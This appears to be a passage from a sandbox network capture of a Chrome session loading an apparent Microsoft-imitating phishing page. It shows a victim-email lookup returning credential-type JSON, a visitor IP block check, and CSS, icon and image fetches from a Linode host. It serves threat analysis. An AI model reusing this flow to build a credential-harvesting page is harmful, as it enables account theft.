2024-04-25 19:45:04 UTC	881	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:45:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.6RC1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wmg653MtZbUT4ZuA6CGTeMx%2FH46O4aEj1jrVtTNDSd5bnQ4mIBPnzegeZXZ%2BQcfGItzQfsV4QutezN8%2B4edBy%2F2K%2BGrv7bot80PIQLQN3myGz4xRrFDGT3OLlS8rupw6p8adgLrfbcECZcs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4cc8ca76766-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:45:04 UTC	10	IN	Data Raw: 35 0d 0a 76 61 6c 69 64 0d 0a Data Ascii: 5valid
2024-04-25 19:45:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49742	172.67.172.36	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	442	OUT	GET /web/site/go-back?token=9704A-4FC48-AE885-98DCB-DCDF5-7F3FD-EF-16-81851-875&usr=joeblow@xyz.com HTTP/1.1 Host: dashboard.spamfather.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:04 UTC	906	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:45:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/8.1.6RC1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zcsHblJM%2BqKBCVQBtJw55D2T%2BsE%2FMZyHHRT2xyRYobO%2BcNiev02z%2F6GgMRf2oE09ZtFbycnkV6DFbtNjmmjgNsFf8PaPFU0uSRgFyS3%2F2ByqZBseSS8wj60WcTmViPxfCQR5YJajP4H4z3c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4cc8eb16785-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:45:04 UTC	463	IN	Data Raw: 32 61 61 0d 0a 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 6a 6f 65 62 6c 6f 77 40 78 79 7a 2e 63 6f 6d 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 6a 6f 65 62 6c 6f 77 40 78 79 7a 2e 63 6f 6d 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 35 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 31 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 31 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 53 61 73 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c Data Ascii: 2aa{"Username":"joeblow@xyz.com","Display":"joeblow@xyz.com","IfExistsResult":5,"IsUnmanaged":false,"ThrottleStatus":1,"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"SasParams":null,
2024-04-25 19:45:04 UTC	226	IN	Data Raw: 6a 2d 48 67 64 38 73 34 48 47 71 56 78 78 46 79 79 5f 36 4e 57 57 31 49 6c 78 44 4a 42 4e 63 6d 4d 38 5f 7a 30 6b 38 61 73 72 52 4b 6a 75 66 39 53 46 32 4c 41 49 77 43 6f 50 76 34 4e 5f 4c 79 4d 62 52 4a 47 70 76 73 55 37 6f 69 48 58 51 31 50 4e 54 51 62 4c 62 30 77 31 75 37 75 6d 6b 70 58 49 44 79 76 77 49 2d 6d 71 6e 64 4a 52 4b 63 42 66 66 46 76 64 65 69 65 73 61 6c 5a 50 78 4f 64 71 36 30 35 57 49 41 4e 5f 49 38 5a 32 48 76 4a 2d 4c 6c 34 4a 52 46 35 7a 68 6d 4c 5f 4d 35 41 2d 34 6a 6c 68 7a 55 6d 4f 38 65 30 79 43 55 4e 66 42 66 62 52 37 70 71 38 44 59 32 35 5f 4c 58 46 4b 69 7a 50 65 6e 70 46 4f 48 78 61 69 65 2d 72 6e 47 46 4c 75 75 5a 65 6f 79 41 41 22 7d 0d 0a Data Ascii: j-Hgd8s4HGqVxxFyy_6NWW1IlxDJBNcmM8_z0k8asrRKjuf9SF2LAIwCoPv4N_LyMbRJGpvsU7oiHXQ1PNTQbLb0w1u7umkpXIDyvwI-mqndJRKcBffFvdeiesalZPxOdq605WIAN_I8Z2HvJ-Ll4JRF5zhmL_M5A-4jlhzUmO8e0yCUNfBfbR7pq8DY25_LXFKizPenpFOHxaie-rnGFLuuZeoyAA"}
2024-04-25 19:45:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49743	172.67.172.36	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	389	OUT	GET /web/blocked-ip/check-ip?ip=185.152.66.230 HTTP/1.1 Host: dashboard.spamfather.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:04 UTC	885	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:45:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.6RC1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=quukpyzFIzm%2FnQ7%2F6yzIVAqJ%2BDg9JqYOLMwx%2FIwdMn7Ch%2F4KAofdvSBKoloRJ7Nk7XrMnRwAgy7DqzYdRq56ovrGCs7ObUQRSxsav%2Bb3B4q0xG2DE65uGXZuqS5GL0UxsAUUNYI%2FwwzOuTA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4cc8e324582-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:45:04 UTC	10	IN	Data Raw: 35 0d 0a 66 61 6c 73 65 0d 0a Data Ascii: 5false
2024-04-25 19:45:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49741	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	383	OUT	GET /gss/Y0XFRO464XV5OX3u HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:03 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:03 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:03 UTC	16195	IN	Data Raw: 31 66 33 66 0d 0a 0d 0a 0d 0a 20 20 20 20 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 62 6c 75 65 3a 20 23 30 30 37 62 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 69 6e 64 69 67 6f 3a 20 23 36 36 31 30 66 32 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 70 75 72 70 6c 65 3a 20 23 36 66 34 32 63 31 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 70 69 6e 6b 3a 20 23 65 38 33 65 38 63 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 72 65 64 3a 20 23 64 63 33 35 34 35 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 6f 72 61 6e 67 65 3a 20 23 66 64 37 65 31 34 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 79 65 6c 6c 6f 77 3a 20 23 66 66 63 31 30 37 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 67 72 65 65 6e 3a 20 23 32 38 61 37 34 35 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 74 65 61 6c 3a 20 Data Ascii: 1f3f :root { --blue: #007bff; --indigo: #6610f2; --purple: #6f42c1; --pink: #e83e8c; --red: #dc3545; --orange: #fd7e14; --yellow: #ffc107; --green: #28a745; --teal:
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 6f 78 2d 6f 72 64 69 6e 61 6c 0d 0a 32 30 30 30 0d 0a 2d 67 72 6f 75 70 3a 20 39 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 38 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 38 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 39 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 30 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 39 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 39 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 31 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 31 3b 0d 0a 20 20 Data Ascii: ox-ordinal2000-group: 9; -ms-flex-order: 8; order: 8 } .order-9 { -webkit-box-ordinal-group: 10; -ms-flex-order: 9; order: 9 } .order-10 { -webkit-box-ordinal-group: 11;
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 78 2d 6f 72 64 65 72 3a 20 31 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 31 30 30 30 0d 0a 6f 72 64 65 72 3a 20 31 32 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 6c 67 2d 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 6c 67 2d 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 2e 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 6c 67 2d 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 36 2e 36 36 36 36 36 37 25 Data Ascii: x-order: 12; 1000order: 12 } .offset-lg-0 { margin-left: 0 } .offset-lg-1 { margin-left: 8.333333% } .offset-lg-2 { margin-left: 16.666667%
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 70 2d 70 72 65 70 65 6e 64 3e 2e 62 74 6e 2c 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 2e 32 35 72 65 6d 20 2e 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 38 37 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 32 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 73 65 6c 65 63 74 2e 62 74 Data Ascii: p-prepend>.btn, .input-group-sm>.input-group-prepend>.input-group-text { padding: .25rem .5rem; font-size: .875rem; line-height: 1.5; border-radius: .2rem } .input-group-sm>.input-group-append>select.bt
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 38 61 37 34 35 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 32 38 61 37 34 35 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 31 38 38 33 38 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 31 65 37 65 33 34 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 2e 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f Data Ascii: round-color: #28a745; border-color: #28a745 } .btn-success:hover { color: #fff; background-color: #218838; border-color: #1e7e34 } .btn-success.focus, .btn-success:focus { box-shado
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2e 32 35 35 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 32 35 35 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 2e 33 65 6d 20 73 6f 6c 69 64 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 2e 33 65 6d Data Ascii: } .dropdown-toggle::after { display: inline-block; width: 0; height: 0; margin-left: .255em; vertical-align: .255em; content: ""; border-top: .3em solid; border-right: .3em
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 61 28 30 2c 20 31 32 33 2c 20 32 35 35 2c 20 2e 35 29 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 63 61 6c 63 28 32 2e 32 35 72 65 6d 20 2b 20 32 70 78 29 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 2e 33 37 35 72 65 6d 20 31 2e 37 35 72 65 6d 20 2e 33 37 35 72 65 6d 20 2e 37 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 39 35 30 35 37 3b 0d 0a 20 20 20 20 20 20 20 20 76 65 Data Ascii: a(0, 123, 255, .5) } .custom-select { display: inline-block; width: 100%; height: calc(2.25rem + 2px); padding: .375rem 1.75rem .375rem .75rem; line-height: 1.5; color: #495057; ve
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 20 2e 64 72 6f 70 75 70 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 31 30 30 25 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 6c 69 67 68 74 20 2e 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 39 29 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 6c 69 67 68 74 20 2e 6e 61 76 62 61 72 2d 62 72 61 6e 64 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 6c 69 67 68 74 20 2e 6e 61 76 62 61 72 2d 62 72 61 6e 64 3a 68 6f 76 Data Ascii: } .navbar-expand .dropup .dropdown-menu { top: auto; bottom: 100% } .navbar-light .navbar-brand { color: rgba(0, 0, 0, .9) } .navbar-light .navbar-brand:focus, .navbar-light .navbar-brand:hov
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 32 35 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6c 65 72 74 2d 68 65 61 64 69 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6c 65 72 74 2d 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6c 65 72 74 2d 64 69 73 6d 69 73 73 69 62 6c 65 20 7b 0d 0a 20 20 20 Data Ascii: 5rem; margin-bottom: 1rem; border: 1px solid transparent; border-radius: .25rem } .alert-heading { color: inherit } .alert-link { font-weight: 700 } .alert-dismissible {
2024-04-25 19:45:03 UTC	16384	IN	Data Raw: 62 6f 74 74 6f 6d 5d 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 62 6f 74 74 6f 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 2e 34 72 65 6d 20 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 62 6f 74 74 6f 6d 5d 20 2e 61 72 72 6f 77 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 62 6f 74 74 6f 6d 20 2e 61 72 72 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 62 6f 74 74 6f 6d 5d 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d Data Ascii: bottom], .bs-tooltip-bottom { padding: .4rem 0 } .bs-tooltip-auto[x-placement^=bottom] .arrow, .bs-tooltip-bottom .arrow { top: 0 } .bs-tooltip-auto[x-placement^=bottom] .arrow::before, .bs-tooltip-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49739	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	384	OUT	GET /cosi/GhYFuqfXa2S89Zec HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:03 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:03 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:03 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 1f40h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-04-25 19:45:03 UTC	1007	IN	Data Raw: 88 66 66 66 66 66 66 66 b0 0d 88 0d 0a 33 64 36 0d 0a 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 ff ff ff ff ff ff ff ff 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: fffffff3d6ffffffffffffffffffffffffffff(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49740	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	382	OUT	GET /ms/lxzGbv3hy4WdYfNa HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:03 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:03 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:03 UTC	1876	IN	Data Raw: 37 34 38 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 1f 00 72 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: 748JFIFxxCCr"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49746	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
